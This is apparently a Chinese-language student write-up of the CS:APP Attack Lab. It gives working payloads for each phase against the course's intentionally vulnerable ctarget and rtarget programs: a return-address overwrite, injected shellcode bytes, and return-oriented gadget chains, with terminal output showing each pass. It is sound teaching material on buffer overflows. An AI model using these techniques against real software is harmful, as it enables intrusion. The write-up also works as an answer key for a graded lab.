实验材料
强烈建议先看一下Writeup
再开始做,否则可能找不到方向。
准备
老样子,objdump -d ctarget > ctarget.asm
得到汇编文件。
阅读Writeup
,理解了整体构造,可以直接上手开始做。
phase 1
目标是通过注入返回地址调用touch1
函数。
按照提示,找到getbuf
:
00000000004017a8 :
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
这个函数构造非常简单,将%rsp
减去0x28
腾出空间后调用Gets
将输入字符串放在栈中。经过gdb
调试后发现,输入的字符串确实是以%rsp
开头的连续地址。在%rsp+0x28
位置处,放置了返回地址,我们直接用输入字符串覆盖即可。所以答案前40
个字节都为00
进行填充,最后三个字节为c0 17 40
。
答案:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
c0 17 40
运行结果:
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer1 > answer1_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./ctarget -q < answer1_raw
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
顺利通过。
phase 2
目标是调用touch2
函数并且设置传入的参数和cookie
相等。
这样就要求执行我们注入的代码,设置好%rdi
再跳转到touch
。
一开始做的时候被各种顺序搞了一会,后来仔细想清楚了两点:
- 输入的字符串字节顺序为地址从低到高,举个例子如果输入了
hello
,栈地址从0
开始,内存布局是这样的:
0x00:h
0x01:e
0x02:l
0x03:l
0x03:o
最先输入的字符地址最低。
-
%rip
执行时是递增的,先读取%rip
处的指令,然后将%rip
加上指令的长度。
根据这两条,我们最先输入的字符串会被当做第一条指令执行,然后以此类推,与汇编代码的输入顺序逻辑一致,我们注入的代码直接输入就好了。
和上一题一样,首先得覆盖返回地址,通过gdb
调试得到,%rsp+0x28
地址为0x5561dc78
,也就是我们输入字符串头的位置。那么我们开始填写注入的代码:
要做的事情有三件:
- 设置
%rdi
,以满足touch2
的要求。 - 返回到
touch2
,想一想ret
的逻辑:先把%rsp
指向的值赋值给%rip
,%rsp
自身再减去8
,那么我们可以直接把%rsp
指向的值赋值为touch2
的地址,可惜这样会段错误,因为破坏了其他的栈帧中的内容,再回想call
的逻辑,我们可以通过push
操作模拟call
,将touch2
地址压入栈即可。 - 最后使用
ret
返回到touch2
。
汇编代码如下:
movl $0x59b997fa, %edi
pushq $0x4017ec
ret
照着Writeup
中的操作,通过gcc
和objdump
得到字节表示,然后再用nop
把剩下的字节填充,再用我们程序的地址覆盖掉原本的地址,得到:
bf fa 97 b9 59 /* movl $0x59b997fa,%edi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* ret */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nops */
78 dc 61 55 /* exploit address */
运行结果:
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer2 > answer2_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./ctarget -q < answer2_raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:BF FA 97 B9 59 68 EC 17 40 00 C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55
顺利通过。
phase 3
这一题和上一题的区别在于,比较的形式是将数字转化成字符串,而我们都知道,字符串其实就是一串连续的字节,所以和上一题没多大区别。于是我把上一题的代码随便改改,然后却始终通不过。通过gdb
调试发现,好像出了点小问题。
这是我一开始的答案:
bf 83 dc 61 55 /* mov $0x5561dc83,%edi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
35 39 62 39 39 37 66 61 00 00 /* string address */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nops */
78 dc 61 55 00 00 00 00 /* exploit address */
也就是在上一题答案上修改,将字符串首地址传入。
运行后发现,我传入的字符串始终不对,经过检查发现这一块区域被修改过,我想应该是touch3
和hexmatch
函数的调用过程中,往栈中压入了数据,使得覆盖了我输入字符串的数据。
那么解决方案也很简单,找一块不会被修改的地方存放就可以了,查看内存发现在我们注入的入口地址前就有一片空白区域不会被修改,将cookie
转化成字符串写入,然后传入正确的地址即可。
答案:
bf a8 dc 61 55 /* mov $0x5561dca8,%edi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nops */
78 dc 61 55 00 00 00 00 /* exploit address */
35 39 62 39 39 37 66 61 00 00 /* string address */
运行结果:
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer3 > answer3_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./ctarget -q < answer3_raw
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:BF A8 DC 61 55 68 FA 18 40 00 C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 BF 83 DC 61 55 68 FA 18 40 00 C3 35 39 62 39 39 37 66 61 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 78 DC 61 55 00 00 00 00
顺利通过!
实际上有一些需要注意的小细节,尤其是各种顺序,个人认为还是蛮容易搞错的。
phase 4
目标与phase 2
相同,但是程序进行了强化,使用了栈随机化和栈不可执行来保护。这样使得我们不可能准确地定位到栈的地址,即使能定位到,也不能当作指令执行。
但是这些都是对栈的限制,对堆是没有任何改变的,Writeup
上提供了一种方法,这里尝试用中文进行解释。
首先既然栈上不可能执行代码,我们只能想办法从堆上做手脚,但是堆上的汇编代码都是写死的,我们不可能将自己的代码进行替换,但我们可以以另外一种形式去解释堆上的汇编代码。
比如c
语言代码:
unsigned addval_273(unsigned x)
{
return x + 3284633928U;
}
编译成汇编代码:
00000000004019a0 :
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
汇编器会从地址0x4019a0
开始,解释成指令leaq
,但是如果我们从地址0x4019a2
开始,解释,这条指令变成48 89 c7 c3
,结合Writeup
中给出的表格:
发现会被就是成:
movq %rax, %rdi
ret
通过从中间执行,我们可以曲解原本汇编代码的意思,以达到自己想要的效果。
另外一个技巧利用ret
来连续执行上面的方法,因为ret
的逻辑是将%rsp
指向的值赋值给%rip
然后%rsp
自身减去8
,前面已经多次用过这个技巧了。
假设我们找到了多个堆中的入口地址(也就是上面那个曲解汇编的入口),然后把他们依次地址从低到高放到栈中,因为执行到c3
会返回,将下一个地址赋值给%rip
然后继续执行,这样就能连续执行我们想要的代码了。
总结一下,就是面向ret
,在ret
之前寻找能曲解意思的汇编码,然后将他们以不同顺序和数量组合,地址依次放入栈中,执行后就能达到想要的效果。
在这题中依次寻找发现:
00000000004019a0 :
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
这段代码中有48 89 c7 c3
,可以解释movq %rax, %rdi; ret;
使用。
00000000004019ca :
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
这段代码中有58 90 c3
,可以解释为popq %rax; nop; ret;
使用。
两者结合可以达成的效果是从栈中弹出一个值,然后赋值给%rdi
,那么构造答案就很简单了。需要注意的是操作数的长度,64
位数据,长度是8
个字节。
答案:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* pads */
cc 19 40 00 00 00 00 00 /* + 0x2 */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* + 0x2 */
ec 17 40 00 00 00 00 00 /* */
运行结果:
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./hex2raw < answer4 > answer4_raw
dyume@LAPTOP-LLU88NPC:/mnt/c/Users/dy199/Desktop/cpp/CsappHomework/attacklab$ ./rtarget -q < answer4_raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
phase 5
Writeup
上说这道题比较繁琐,我花了一些时间做这个,但由于几个原因没有完成,如果将来有一天重温的话希望可以补完。
整体思路类似于上一题,但由于需要传入地址,需要通过%rsp
进行一些计算,指令也偏多,导致整体比较麻烦。
- 陷入了思维定势,没有注意到本来就提供的函数的一些功能,浪费了一些时间。
- 有一个疑问暂时想不出来,一开始写的是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* pads */
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00
传入字符串地址是正确的,但在sprintf
函数处会段错误,百思不得其解,由于和主题关系不大,主要内容已经了解掌握,这里的细节就咕咕咕了。
总结
总体来说这次实验的难度是比前两个低一些的,但有趣程度不减,体验了一把当黑客的感觉。对汇编代码,汇编层面的编程更加了解和熟练了。最后还给自己留了个小问题,如果将来没心思解决的话权当是个记录,希望自己能够再接再厉继续学习。